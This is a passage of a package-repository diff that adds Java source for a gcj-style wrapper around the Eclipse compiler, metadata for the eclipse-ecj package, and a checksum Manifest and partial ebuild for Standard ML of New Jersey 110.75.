++		if (unitResult == null || unitResult.hasErrors()) {
++			return;
++		}
++
++		// If we are compiling with indirect dispatch, we don't need
++		// any dependent classes.  If we are using the C++ ABI, then we
++		// do need the dependencies in order to do proper layout.
++		boolean gcjCompile = this.commandLineCompilationUnits.contains(unitResult.getCompilationUnit());
++		if (this.zipDependencyDestination == null && !gcjCompile) {
++			return;
++		}
++
++		try {
++			ZipOutputStream dest = gcjCompile ? getZipOutput() : getDependencyOutput();
++			ClassFile[] classFiles = unitResult.getClassFiles();
++			for (int i = 0; i < classFiles.length; ++i) {
++				ClassFile classFile = classFiles[i];
++				String filename = combine(classFile.fileName(), SuffixConstants.SUFFIX_class);
++				if (this.verbose)
++					this.out.println(
++							Messages.bind(
++									Messages.compilation_write,
++									new String[] {
++								String.valueOf(this.exportedClassFilesCounter+1),
++								filename
++							}));
++				ZipEntry entry = new ZipEntry(filename);
++				byte[] contents = classFile.getBytes();
++				CRC32 crc = new CRC32();
++				crc.update(contents);
++				entry.setSize(contents.length);
++				entry.setCrc(crc.getValue());
++				dest.putNextEntry(entry);
++				dest.write(contents);
++				dest.closeEntry();
++			}
++		} catch (IOException err) {
++			fail(err);
++		}
++	}
++	
++	private String getArgument(String option) {
++		int index = option.indexOf('=');
++		return option.substring(index + 1);
++	}
++
++	private void addPath(ArrayList result, String currentClasspathName) {
++		String customEncoding = null;
++		AccessRule[] accessRules = new AccessRule[0];
++		String templates[] = new String[AccessRuleSet.MESSAGE_TEMPLATES_LENGTH];
++		templates[0] = this.bind(
++			"template.restrictedAccess.type", //$NON-NLS-1$
++			new String[] {"{0}", currentClasspathName}); //$NON-NLS-1$ 
++		templates[1] = this.bind(
++			"template.restrictedAccess.constructor", //$NON-NLS-1$
++			new String[] {"{0}", currentClasspathName}); //$NON-NLS-1$ 
++		templates[2] = this.bind(
++			"template.restrictedAccess.method", //$NON-NLS-1$
++			new String[] {"{0}", "{1}", currentClasspathName}); //$NON-NLS-1$ //$NON-NLS-2$ 
++		templates[3] = this.bind(
++			"template.restrictedAccess.field", //$NON-NLS-1$
++			new String[] {"{0}", "{1}", currentClasspathName}); //$NON-NLS-1$ //$NON-NLS-2$ 
++		AccessRuleSet accessRuleSet = new AccessRuleSet(accessRules, templates);
++		FileSystem.Classpath currentClasspath = FileSystem
++				.getClasspath(currentClasspathName,
++						customEncoding, accessRuleSet);
++		if (currentClasspath != null) {
++			result.add(currentClasspath);
++		}
++	}
++	
++	private void parsePath(ArrayList result, String path) {
++		StringTokenizer iter = new StringTokenizer(path, File.pathSeparator);
++		while (iter.hasMoreTokens()) {
++			addPath(result, iter.nextToken());
++		}
++	}
++
++	protected void handleWarningToken(String token, boolean isEnabling,
++			boolean useEnableJavadoc) throws InvalidInputException {
++		// Recognize this for compatibility with older versions of gcj.
++		if ("deprecated".equals(token)) //$NON-NLS-1$
++			token = "deprecation"; //$NON-NLS-1$
++		else if ("static-access".equals(token)   //$NON-NLS-1$
++				|| "dep-ann".equals(token) //$NON-NLS-1$
++				|| "over-ann".equals(token)) { //$NON-NLS-1$
++			// Some exceptions to the warning naming rule.
++		} else if ("extraneous-semicolon".equals(token)) { //$NON-NLS-1$
++			// Compatibility with earlier versions of gcj.
++			token = "semicolon"; //$NON-NLS-1$
++		} else {
++			// Turn "foo-bar-baz" into eclipse-style "fooBarBaz".
++			StringBuffer newToken = new StringBuffer(token.length());
++			StringTokenizer t = new StringTokenizer(token, "-"); //$NON-NLS-1$
++			boolean first = true;
++			while (t.hasMoreTokens()) {
++				String next = t.nextToken();
++				if (first) {
++					newToken.append(next);
++					first = false;
++				} else {
++					newToken.append(Character.toUpperCase(next.charAt(0)));
++					newToken.append(next.substring(1));
++				}
++			}
++			token = newToken.toString();
++		}
++		super.handleWarningToken(token, isEnabling, useEnableJavadoc);
++	}
++
++	private void turnWarningsToErrors() {
++		Object[] entries = this.options.entrySet().toArray();
++		for (int i = 0, max = entries.length; i < max; i++) {
++			Map.Entry entry = (Map.Entry) entries[i];
++			if (!(entry.getKey() instanceof String))
++				continue;
++			if (!(entry.getValue() instanceof String))
++				continue;
++			if (((String) entry.getValue()).equals(CompilerOptions.WARNING)) {
++				this.options.put(entry.getKey(), CompilerOptions.ERROR);
++			}
++		}
++	}
++
++	/**
++	 * Set the debug level to the indicated value.  The level should be
++	 * between 0 and 2, inclusive, but this is not checked.
++	 * @param level the debug level
++	 */
++	private void setDebugLevel(int level) {
++		this.options.put(
++				CompilerOptions.OPTION_LocalVariableAttribute,
++				level > 1 ? CompilerOptions.GENERATE : CompilerOptions.DO_NOT_GENERATE);
++		this.options.put(
++				CompilerOptions.OPTION_LineNumberAttribute,
++				level > 0 ? CompilerOptions.GENERATE : CompilerOptions.DO_NOT_GENERATE);
++		this.options.put(
++				CompilerOptions.OPTION_SourceFileAttribute,
++				CompilerOptions.GENERATE);
++	}
++
++	private void readFileList(String file, ArrayList result) {
++		try {
++			BufferedReader b = new BufferedReader(new FileReader(file));
++			String line;
++			while ((line = b.readLine()) != null) {
++				if (line.endsWith(SUFFIX_STRING_java))
++					result.add(line);
++			}
++			b.close();
++		} catch (IOException err) {
++			fail(err);
++		}
++	}
++	
++	private void readAllFileListFiles(ArrayList fileList, ArrayList result) {
++		Iterator it = fileList.iterator();
++		while (it.hasNext()) {
++			readFileList((String) it.next(), result);
++		}
++	}
++
++	private void handleWall(boolean enable) throws InvalidInputException {
++		// A somewhat arbitrary list.  We use the GCC names
++		// here, and the local handleWarningToken translates
++		// for us.
++		handleWarningToken("constructor-name", enable, false);
++		handleWarningToken("pkg-default-method", enable, false);
++		handleWarningToken("masked-catch-block", enable, false);
++		handleWarningToken("all-deprecation", enable, false);
++		handleWarningToken("unused-local", enable, false);
++		handleWarningToken("unused-label", enable, false);
++		handleWarningToken("static-receiver", enable, false);
++		handleWarningToken("indirect-static", enable, false);
++		handleWarningToken("no-effect-assign", enable, false);
++		handleWarningToken("char-concat", enable, false);
++		handleWarningToken("useless-type-check", enable, false);
++		handleWarningToken("final-bound", enable, false);
++		handleWarningToken("assert-identifier", enable, false);
++		handleWarningToken("enum-identifier", enable, false);
++		handleWarningToken("finally", enable, false);
++		handleWarningToken("varargs-cast", enable, false);
++		handleWarningToken("unused", enable, false);
++		handleWarningToken("forbidden", enable, false);
++	}
++
++	public void configure(String[] argv) throws InvalidInputException {
++		if ((argv == null) || (argv.length == 0)) {
++			// This is a "can't happen".
++			System.exit(1);
++		}
++
++		ArrayList files = new ArrayList();
++		ArrayList otherFiles = new ArrayList();
++		String classpath = null;
++		boolean haveFileList = false;
++		boolean inhibitAllWarnings = false;
++		boolean treatWarningsAsErrors = false;
++
++		for (int i = 0; i < argv.length; ++i) {
++			String currentArg = argv[i];
++			
++			if (currentArg.startsWith("-fencoding=")) { //$NON-NLS-1$
++				// Simply accept the last one.
++				String encoding = getArgument(currentArg);
++				try { // ensure encoding is supported
++					new InputStreamReader(new ByteArrayInputStream(new byte[0]), encoding);
++				} catch (UnsupportedEncodingException e) {
++					throw new InvalidInputException(
++						this.bind("configure.unsupportedEncoding", encoding)); //$NON-NLS-1$
++				}
++				this.options.put(CompilerOptions.OPTION_Encoding, encoding);
++			} else if (currentArg.startsWith("-foutput-class-dir=")) { //$NON-NLS-1$
++				String arg = getArgument(currentArg);
++				if (this.destinationPath != null) {
++					StringBuffer errorMessage = new StringBuffer();
++					errorMessage.append("-d"); //$NON-NLS-1$
++					errorMessage.append(' ');
++					errorMessage.append(arg);
++					throw new InvalidInputException(
++						this.bind("configure.duplicateOutputPath", errorMessage.toString())); //$NON-NLS-1$
++				}
++				this.destinationPath = arg;
++				//this.generatePackagesStructure = true;
++			} else if (currentArg.startsWith("-fbootclasspath=")) { //$NON-NLS-1$
++				classpath = getArgument(currentArg);
++			} else if (currentArg.equals("-fzip-target")) { //$NON-NLS-1$
++				++i;
++				if (i >= argv.length)
++					throw new InvalidInputException(this.bind("gcc.zipArg")); //$NON-NLS-1$
++				this.zipDestination = argv[i];
++			} else if (currentArg.equals("-fzip-dependency")) { //$NON-NLS-1$
++				++i;
++				if (i >= argv.length)
++					throw new InvalidInputException(this.bind("gcc.zipDepArg")); //$NON-NLS-1$
++				this.zipDependencyDestination = argv[i];
++			} else if (currentArg.startsWith("-g")) { //$NON-NLS-1$
++				if (currentArg.equals("-g0")) { //$NON-NLS-1$
++					setDebugLevel(0);
++				} else if (currentArg.equals("-g2") || currentArg.equals("-g3") //$NON-NLS-1$ //$NON-NLS-2$
++						|| currentArg.equals("-g")) { //$NON-NLS-1$
++					setDebugLevel(2);
++				} else {
++					// Handle -g1 but also things like -gstabs.
++					setDebugLevel(1);
++				}
++			} else if (currentArg.equals("-Werror")) { //$NON-NLS-1$
++				treatWarningsAsErrors = true;
++			} else if (currentArg.equals("-Wno-error")) { //$NON-NLS-1$
++				treatWarningsAsErrors = false;
++			} else if (currentArg.equals("-Wall")) { //$NON-NLS-1$
++				handleWall(true);
++			} else if (currentArg.equals("-Wno-all")) { //$NON-NLS-1$
++				handleWall(false);
++			} else if (currentArg.startsWith("-Wno-")) { //$NON-NLS-1$
++				handleWarningToken(currentArg.substring(5), false, false);
++			} else if (currentArg.startsWith("-W")) { //$NON-NLS-1$
++				handleWarningToken(currentArg.substring(2), true, false);
++			} else if (currentArg.equals("-w")) { //$NON-NLS-1$
++				inhibitAllWarnings = true;
++			} else if (currentArg.startsWith("-O")) { //$NON-NLS-1$
++				// Ignore.
++			} else if (currentArg.equals("-v")) { //$NON-NLS-1$
++				this.verbose = true;
++			} else if (currentArg.equals("-fsyntax-only")) { //$NON-NLS-1$
++				this.syntaxOnly = true;
++			} else if (currentArg.startsWith("-fsource=")) { //$NON-NLS-1$
++				currentArg = getArgument(currentArg);
++				if (currentArg.equals("1.3")) { //$NON-NLS-1$
++					this.options.put(CompilerOptions.OPTION_Source, CompilerOptions.VERSION_1_3);
++				} else if (currentArg.equals("1.4")) { //$NON-NLS-1$
++					this.options.put(CompilerOptions.OPTION_Source, CompilerOptions.VERSION_1_4);
++				} else if (currentArg.equals("1.5") || currentArg.equals("5") || currentArg.equals("5.0")) { //$NON-NLS-1$//$NON-NLS-2$ //$NON-NLS-3$
++					this.options.put(CompilerOptions.OPTION_Source, CompilerOptions.VERSION_1_5);
++				} else if (currentArg.equals("1.6") || currentArg.equals("6") || currentArg.equals("6.0")) { //$NON-NLS-1$//$NON-NLS-2$ //$NON-NLS-3$
++					this.options.put(CompilerOptions.OPTION_Source, CompilerOptions.VERSION_1_6);
++				} else {
++					throw new InvalidInputException(this.bind("configure.source", currentArg)); //$NON-NLS-1$
++				}
++			} else if (currentArg.startsWith("-ftarget=")) { //$NON-NLS-1$
++				currentArg = getArgument(currentArg);
++				if (currentArg.equals("1.1")) { //$NON-NLS-1$
++					this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_1_1);
++				} else if (currentArg.equals("1.2")) { //$NON-NLS-1$
++					this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_1_2);
++				} else if (currentArg.equals("1.3")) { //$NON-NLS-1$
++					this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_1_3);
++				} else if (currentArg.equals("1.4")) { //$NON-NLS-1$
++					this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_1_4);
++				} else if (currentArg.equals("1.5") || currentArg.equals("5") || currentArg.equals("5.0")) { //$NON-NLS-1$//$NON-NLS-2$ //$NON-NLS-3$
++					this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_1_5);
++				} else if (currentArg.equals("1.6") || currentArg.equals("6") || currentArg.equals("6.0")) { //$NON-NLS-1$//$NON-NLS-2$ //$NON-NLS-3$
++					this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_1_6);
++				} else if (currentArg.equals("jsr14")) { //$NON-NLS-1$
++					this.options.put(CompilerOptions.OPTION_TargetPlatform, CompilerOptions.VERSION_JSR14);
++				} else {
++					throw new InvalidInputException(this.bind("configure.targetJDK", currentArg)); //$NON-NLS-1$
++				}
++			} else if (currentArg.equals("-ffilelist-file")) { //$NON-NLS-1$
++				haveFileList = true;
++			} else if (currentArg.endsWith(SuffixConstants.SUFFIX_STRING_java)) {
++				files.add(currentArg);
++			} else if (currentArg.charAt(0) == '-'){
++				// FIXME: error if not a file?
++			} else {
++				otherFiles.add(currentArg);
++			}
++		}
++
++		// Read the file list file.  We read them all, but really there
++		// will only be one.
++		if (haveFileList)
++			readAllFileListFiles(otherFiles, files);
++
++		this.filenames = (String[]) files.toArray(new String[0]);
++		this.encodings = new String[this.filenames.length];
++		this.destinationPaths = new String[this.filenames.length];
++		for (int i = 0; i < this.filenames.length; ++i)
++			this.destinationPaths[i] = this.destinationPath;
++		
++		// Classpath processing.
++		ArrayList result = new ArrayList();
++		if (classpath == null)
++			throw new InvalidInputException(this.bind("gcc.noClasspath")); //$NON-NLS-1$
++		parsePath(result, classpath);
++
++		// We must always create both output files, even if one is not used.
++		// That way we will always pass valid zip file on to jc1.
++		try {
++			getZipOutput();
++			getDependencyOutput();
++		} catch (IOException err) {
++			fail(err);
++		}
++
++		if (inhibitAllWarnings)
++			disableWarnings();
++		if (treatWarningsAsErrors)
++			turnWarningsToErrors();
++
++		this.checkedClasspaths = new FileSystem.Classpath[result.size()];
++		result.toArray(this.checkedClasspaths);
++
++		this.logger.logCommandLineArguments(argv);
++		this.logger.logOptions(this.options);
++		this.logger.logClasspath(this.checkedClasspaths);
++		
++		this.repetitions = 1;
++	}
++
++	public boolean compile(String[] argv) {
++		boolean result = super.compile(argv);
++		try {
++			if (zipStream != null) {
++				zipStream.finish();
++				zipStream.close();
++			}
++			if (zipDependencyStream != null) {
++				zipDependencyStream.finish();
++				zipDependencyStream.close();
++			}
++		} catch (IOException err) {
++			fail(err);
++		}
++		return result;
++	}
++
++	public static void main(String[] argv) {
++		boolean result = new GCCMain(new PrintWriter(System.out), new PrintWriter(System.err), false).compile(argv);
++		System.exit(result ? 0 : 1);
++	}
++}
diff --git a/dev-java/eclipse-ecj/metadata.xml b/dev-java/eclipse-ecj/metadata.xml
new file mode 100644
index 00000000..2b50537a
--- /dev/null
+++ b/dev-java/eclipse-ecj/metadata.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>java</herd>
+<longdescription>
+ECJ is the Eclipse Compiler for Java. It's a separate packaging of
+the embedded Java compiler that comes with Eclipse. It can be used
+as a batch-compiler by running the ecj-3.x script, or it can be
+used with Ant by using the -lib option to and and setting
+-Dbuild.compiler=ecj
+</longdescription>
+<use>
+	<flag name="ant">Support using ecj in Ant builds via dev-java/ant-eclipse-ecj</flag>
+</use>
+</pkgmetadata>
diff --git a/dev-lang/smlnj/Manifest b/dev-lang/smlnj/Manifest
new file mode 100644
index 00000000..489d45e2
--- /dev/null
+++ b/dev-lang/smlnj/Manifest
@@ -0,0 +1,23 @@
+DIST smlnj-110.75-MLRISC.tgz 1422655 SHA256 4daf94fb6bc8ff836a677616fa3aa6d001ad42829af20e662cbed8720b3e7237 SHA512 d1c9bacc135836bc83e5a0f99585d2c8007ecb2eaa9217489c9d5b2a845f82a48f3666b72ae59a016dca3b66bd56c9739461376e2ac628d01646182990e93c84 WHIRLPOOL aa00c3a8729a7ffd3bc96578b7491aa22c2438939cd4443cefcc396501ebc4d5a63d7dc74224e572dd2b9daab5b4dd584773f8c33cac308090eada9c4b598877
+DIST smlnj-110.75-boot.ppc-unix.tgz 5772853 SHA256 06d04c97e15d3bc7e1ae4ea15182bec1748302600fc9c13b77538aed2ccf0006 SHA512 cf34f084a7bca7c1d5c21fa9f356be0224ec886512a44f3dfea0cb9e1af9954662ae6e602250e9c834ccc6e1d3556ff1839a28505776038183b7b77bdb9d6dc7 WHIRLPOOL f1b1aeb8ffaa74dbf01e077426f8874b4e81799685fbbe5eef82c80c882528f06bf5cd4942fd14bd16e8a60abf98593672e4c68497e6a6ca4552c3026fad4ef1
+DIST smlnj-110.75-boot.sparc-unix.tgz 5900426 SHA256 24d4cae7879e0a0f7f5412cd8728b31aaee034f04c551f6c82a830e989d53460 SHA512 19f26bb68d94f03dc5bde68b36c4d6efbe9efd25fe089b3ce16f2ff2baa499af79d18ce2d834900bcf3e709f64c00cdacca149d0cf264fe86c23f93fb94dc1fa WHIRLPOOL 4b49cf4c102e53be1704f1bc58dbe6f7ef3c69637bd0398bdf1355bb0b620b447f73ee4b325739dd16c3b644e292009b6c19cd584f3a2b24a21170412a3a47f5
+DIST smlnj-110.75-boot.x86-unix.tgz 5848139 SHA256 99f986c12474d663984156df9784b2bc8578ce89927fe5c8ba9e68ac09b4469d SHA512 9d482b6546792936345ba54616e74550feb34a8629c547bd095b7f3d70724d8f652118ed41436a3d2f6a1965a81ad59417ae0021b45bf2e52fc4f338a3f5f051 WHIRLPOOL 2853806c10bc4f095a3e5b9f67dfd3cfc2b6e9db43156278c788938af013248599f118c4259901c35a3718a6c7459e0386727cd41aa02abfb5b481924ccd190c
+DIST smlnj-110.75-ckit.tgz 194523 SHA256 b5849f96b3cde1d8d33ba94e41c9093fc2f9f35db3499086c69a8552630f9477 SHA512 79cfb8442e5a95418404b94b82981d93cbbac67d70712814a49a53ef97360b8c7ba6ec13ad79b84182d1c6ddb613848041836a947c1ab4a45d822cc7e94f8403 WHIRLPOOL 2f01dc5e57457bb920bf19339705b8a7318f7c51dbb0d39e2ae19c2ee6ec911054d4781d3ed5a49b851311afb042c993efc01cf805603390ca4af7860c85ae2a
+DIST smlnj-110.75-cm.tgz 200429 SHA256 4604fac13f3810673233ab7b31649035256f78d0ad86b6a6b43f37ffc5ddb12b SHA512 52b05e0497f8dafd415e42522a42bed5a96b9fbfce09430c914d987cf4983386a3a89f9a8aa9e67163af1428e387cd11f85207f2250083eaf3363e176921aff6 WHIRLPOOL b9fe64a2de84914ffda392251111a700851d757a67c032e86d1e9002f62f5d910cd1a0bc1004353080f228d55191daf3fb443fc7e8dd0a12e4e803c1b9d52751
+DIST smlnj-110.75-cml.tgz 105902 SHA256 0bb3ae6feda0f2b4dc86a3e386462319761733c71aeff36aadcd625790d562c6 SHA512 22237c41a41c5b006ce80d57ef759a5825bf6156296f8755352dcda95c4650e5efd87c554959554bd42673996438a448cb5fab614ccdc7d9e2798a846bfcc2e5 WHIRLPOOL 9782f8c3e263ae50be46fe4d9793084c3d410a9495bf397f643f562cca97fbe7549f9fd611d7687ca7322c21c75f3d7fab15e8dc60b6bccf44faab8b1173affd
+DIST smlnj-110.75-compiler.tgz 816964 SHA256 c72c25fa9f844e085448ef07ec5c7f44ebaec44a4ecfbafab38e64193b49bf21 SHA512 ccbbeb2a7e7107c1406a14125d89bec86ebcf8478e8d01f61f1fb6d77d58040c2e85ef620d438321a7a4595d7f3662a275809b93db15c1320a38597130f6d39a WHIRLPOOL 13b63c138ae12b039fb796e3ff4080f613d1b2e9583228532773c15e0edc56004d9fae7e760c67a52a5ed6c7d867aa0ec46df0dea686d126b944dc6cebf2b0b8
+DIST smlnj-110.75-config.tgz 511117 SHA256 3c452eadc0da4eda4f1de1fe5c842eb42b88e1ea1fefe3212f82827052cfe1b0 SHA512 e1d5d2e169dbe799a64d983359e52acf326fae4f18c7c2444d94d792bd383365ac6a0c382dac3ed94ccbb8f8b29ba785517a6f94ee5f733b9a06ef0da85537a3 WHIRLPOOL c702578aaef2a2641424cc11c375bb7d62d7bb879ea42a8f6e2d6a3251be40b23cf909aeccb84015cac17e578d2c38de95f958b4d30f0cfa190e4075df558ea8
+DIST smlnj-110.75-eXene.tgz 703097 SHA256 f7fe66c65fbf2c32ec4a13b8600a86d9c6aa0acbd937cd27668036d6bc146908 SHA512 091fa935d731c4a07934a09a5b28c99bb1f79407ceeb3f68b4dd8877d0b29042f56afaa4f0d5a048ce0f203d185972622fefcc701f8359677e28d06953a861e8 WHIRLPOOL 5b860590aae60e6ba2441a577ab8e248cdd727e7b8751a3d12f9cc5077409c504dbc67480491e30066aa145ce92935b821e4eb4031b196ee1c4f5d30a5296532
+DIST smlnj-110.75-heap2asm.tgz 1315 SHA256 bca547875d99ae601a141b08319f716205b096560a13b3b7ec4298b25c4a742d SHA512 d2578a32c99ce5e81904eff7203df9550c4539be43a0a3252109fb2adc4862864c70c37ba89b2ebe68fdb21171430b4d13e44fc4860639ef960e81f01ac3749a WHIRLPOOL 30e5d82df273001766c617b1876b4801e9bd681d802cee5bb14c5eaa6f702fe505521380868b91956d08191134e615bccc5199c2fcdfa3574c4b96bd00636637
+DIST smlnj-110.75-ml-burg.tgz 36339 SHA256 d65e37281de97d3501356e6f5e842e3b247fb1a2f5580cc419d44d4f3f060e5f SHA512 a38a73c76e9b482cbec396cd445c058ef0db5e732900ee0597e52fd3af97acac5b78629af1e8e038b9cb9a403beed7524345c5e38f4a49b7602d73daee8fea2d WHIRLPOOL b5362de4a2a8f72472d773d5d15b9725118ac5a4f6235d652d33b55aac0fe227d132974ba24eab1b5e9f025cf853820a7543a1e051a7223dae657b991b5cd3ee
+DIST smlnj-110.75-ml-lex.tgz 33154 SHA256 307628841271f942df4db0d782e164f25a9fb07ce12b2083e4d6eef898c07266 SHA512 2840117c2891d09acb762cd7f161a15cd9351478a007d08c8d1c2be1e828b1175fb31f427e0a6eeb96cbadf7b92da1dda23b3ff3a7123c1c800892157fd58fa6 WHIRLPOOL 1358132f0bac81400886fa988e3f479d3d33dc89954dadc6e209ad16a740917d91a367df3b163d74900bdcad2ea1759ee6167370ece0ccfc8b836581cffafb2a
+DIST smlnj-110.75-ml-lpt.tgz 256313 SHA256 2a8138c219dd5f42970c1a8ed9fb1e00dcf45d450c5f129bfb184819c36a2c06 SHA512 b36b8250862d0d9eb6e4576ab47e20b535095c8ab7c1cae913f7e8748f7677cf89dce0061fabe56dbda0df3ae0311970adbb0bd96630aa638ea5652277d978b6 WHIRLPOOL 741372a65ac3ba42df836ab975dc087a8838e48c403eaeb5bd0a9576ff37d9ff0027205d74494fc0b032bdd1b8f8e3be0a94a14026b5cdea46a52fa63b84976f
+DIST smlnj-110.75-ml-yacc.tgz 99940 SHA256 bd9b35557c520af1251a19b096ec0106bc6c03b7ebab2cf1391649c5c6b222f3 SHA512 930dc545e49769a3d153753e19da1352fafea621f17d86881d5454d2d27f601e517fec09bd49ec732db4d311621e6cf8c26f714b095b9e07147bbe3b6ec885c2 WHIRLPOOL 410c0195b16584ebc113bf554bf4b6da7f4d2fdda0c1d19805b006e18d85ede572f0bd4e1dbbf4622d157915cadb0d69d7bb0aa5ca4718be196ecc53a8283606
+DIST smlnj-110.75-nlffi.tgz 74481 SHA256 0daea7803edb7e836d45676d00e8c2cef1439daff89eaccda608144d23ad82d6 SHA512 bfaa0e4ddc43d3695ef2be5cc74218435f6004b99a07ec585ec65158eaeb22ac7309ee9d584e880048655eb7110866ec25055fcc196b5d904510cf0c4c498eb5 WHIRLPOOL 0d6eddab0ee64aeb81143cc17c6f12df7e63af8548a62339960035fcc500d25b33c181e0c58817e04de5bc0be099bb13314daa5463957101b9ba87ff5101ad1d
+DIST smlnj-110.75-pgraph.tgz 5439 SHA256 71ccfbc78227dbc9ddac08bdc6c3bf01c7e1139ee84706a0e8572a0653c8b80f SHA512 cf8de19c5d3f258cc6fa145d837bf8e307e04577ab45e20861f53fc47612c2238cc5c1964ad3f1697dceb1d56b84c1d0d1e9ecd5da8dfb7ad24b1946b82691e8 WHIRLPOOL caef565f6abf5506f2ac2a660843e1b698294d8b96e855177992a1b69d89bfcf40e0c426e7dcf5fa7d8ba1e9a6524405b2cd813881f8bb554e619608986cd24c
+DIST smlnj-110.75-runtime.tgz 324054 SHA256 30fe442f42414908df3377a06c8e79af569ea13a43c9a7d3bbf052debbdec412 SHA512 65b05ceb31d719874c5b06ebaf4179c1e1b12da648635332eb4bdd5ffc5af86a00f7e8c45062d9f03e9a445f9eefe741c92f7ca207beecf31733a3a849902aaa WHIRLPOOL 27a0f5c318a4bcfd5514a711f2fcc17258514c8f4ec5b429273f13ea0bfbf8de304a15be6de6a91a7f33d923f86aeeb2a906ea0816e7f1a70d1f650164471541
+DIST smlnj-110.75-smlnj-c.tgz 10531 SHA256 a8645509f80fad32fa3e50cc26015b179952ba63d72a89c1f280a464a6585d76 SHA512 ada4f0055f4f3f49c05ad4b55edfbda6cc7534491c1d304d7f51977170a3f68f367e1cba6a75d145b2ba497ca25bbb793c84f0bc7eeea0ad9657eecd72f85b87 WHIRLPOOL 5fe6d0d9c6378377968f82650f2ccf3aaba4f1c88b4718256b03dcae622adf3bb74356975271ab7450d3d888cb734d3eee047abf33f5b6740d847f4cc32b1d03
+DIST smlnj-110.75-smlnj-lib.tgz 396628 SHA256 2f8196ce2f7509c0ac0a0a69107c1d681554d1c58ba1bee92ef833816341caed SHA512 47d20c09fbd0a6e59db429e02b55b6307f5c61a9166bfc839261a21267da6e4ca0f99aa1080b2a8556a6046818177ad61b854a2dac0248b17a2ef79eac4ad35d WHIRLPOOL 9236dad0c616d2f680d0fd8efdf7d1aafb4a69afa26a676f0d90680b7dae1c5099313873e1e44546493090d8f3a99db01d7d22847ea8be046f7f891a35a6db5c
+DIST smlnj-110.75-system.tgz 227376 SHA256 973f5ebd3b9823365b9dadbf370c0aa131df94d4d80ada660bb05a3010776a2e SHA512 ee6a941f269d51bdd48328c35ae642d6b5f35ef7e9516fef58fad7f6ac3b4a527678265eb7a8a9783eb5e483713fbade17cd6e204234fb9419ad430e42a536a4 WHIRLPOOL a8000d6f22a539922033e740f262b8bb0832d25fd1ba204aed53f4d979d7a2193a7b49b73187c9e4621407d43dd9aeec680b1c57780279fab81549dba29db8f1
+DIST smlnj-110.75-trace-debug-profile.tgz 3902 SHA256 e04a6740166d7f2da41923400fae3b9661d1e52dce4f64efff3a3780c9a6a43c SHA512 b2eed46e58f7b2dd6857debea4ae329dcc79946bd59a63747746d916b2dc29866d3e23a3accd678a981f2ebed0924d1fe1d03744000e877313abc33b144ec694 WHIRLPOOL a4d357c718259d076cad19174d2b4e5ae5949fe47314dca261cf16c5c37c788b5ab43c6f75ca2e37ada45ac67ac0d13df86a2c4cf2a1a4ad046912b0dc22d1c5
+EBUILD smlnj-110.75.ebuild 2669 SHA256 c032ad2916b55e43aa0619f088772489366af692ae15b97cb8ef17d521b38a41 SHA512 f212d97e26a0260ed4063e1bca1a1dcd3671c47bcebd70a10f1f3ea08c9048da46aadda83b9727558a8769fca415f2b9463d43f4d0a01f790d7a0a204287647b WHIRLPOOL c3e19db105fb61f3fba190bec6e8b3be3220af25c391c19fab18f54813bf8ecc0bca5fe68d5bba5c9081237a45df37c5e2507b1451fcd9ace8909245da6f5913
diff --git a/dev-lang/smlnj/smlnj-110.75.ebuild b/dev-lang/smlnj/smlnj-110.75.ebuild
new file mode 100644
index 00000000..1a61ddb2
--- /dev/null
+++ b/dev-lang/smlnj/smlnj-110.75.ebuild
@@ -0,0 +1,113 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/dev-lang/smlnj/smlnj-110.75.ebuild,v 1.4 2012/10/22 12:14:09 hkbst Exp $
+
+EAPI="4"
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="Standard ML of New Jersey compiler and libraries"
+HOMEPAGE="http://www.smlnj.org"
+
+BASE_URI="http://smlnj.cs.uchicago.edu/dist/working/${PV}"
+
+FILES="
+config.tgz
+
+cm.tgz
+compiler.tgz
+runtime.tgz
+system.tgz
+MLRISC.tgz
+smlnj-lib.tgz
+
+ckit.tgz
+nlffi.tgz
+
+cml.tgz
+eXene.tgz
+
+ml-lex.tgz
+ml-yacc.tgz
+ml-burg.tgz
+ml-lpt.tgz
+
+pgraph.tgz
+trace-debug-profile.tgz
+
+heap2asm.tgz
+
+smlnj-c.tgz
+"
+
+#use amd64 in 32-bit mode
+SRC_URI="amd64? ( ${BASE_URI}/boot.x86-unix.tgz -> ${P}-boot.x86-unix.tgz )
+		 ppc?   ( ${BASE_URI}/boot.ppc-unix.tgz -> ${P}-boot.ppc-unix.tgz )
+		 sparc? ( ${BASE_URI}/boot.sparc-unix.tgz -> ${P}-boot.sparc-unix.tgz )
+		 x86?   ( ${BASE_URI}/boot.x86-unix.tgz -> ${P}-boot.x86-unix.tgz )"
+
+for file in ${FILES}; do
+	SRC_URI+=" ${BASE_URI}/${file} -> ${P}-${file} "
+done
+
+LICENSE="BSD"
+SLOT="0"
+
+#sparc support should be there but is untested
+KEYWORDS="-* ~amd64 ~ppc ~x86"
+IUSE=""
+
+S=${WORKDIR}
+
+src_unpack() {
+	mkdir -p "${S}"
+	for file in ${A}; do
+		[[ ${file} != ${P}-config.tgz ]] && cp "${DISTDIR}/${file}" "${S}/${file#${P}-}"
+	done
+
+#	make sure we don't use the internet to download anything
+	unpack ${P}-config.tgz && rm config/*.bat
+	echo SRCARCHIVEURL=\"file:/${S}\" > "${S}"/config/srcarchiveurl
+}
+
+DIR=/usr
+
+src_prepare() {
+	# respect CC et al. (bug 243886)
+	mkdir base || die # without this unpacking runtime will fail
+	./config/unpack "${S}" runtime || die
+	for file in mk.*; do
+		sed -e "/^AS/s:as:$(tc-getAS):" \
+			-e "/^CC/s:gcc:$(tc-getCC):" \
+			-e "/^CPP/s:gcc:$(tc-getCC):" \
+			-e "/^CFLAGS/{s:-O[0123s]:: ; s:=:= ${CFLAGS}:}" \
+			-i base/runtime/objs/${file}
+	done
+
+#	# stash bin and lib somewhere (bug 248162)
+#	sed -e "/@BINDIR@/s:\$BINDIR:${DIR}:" \
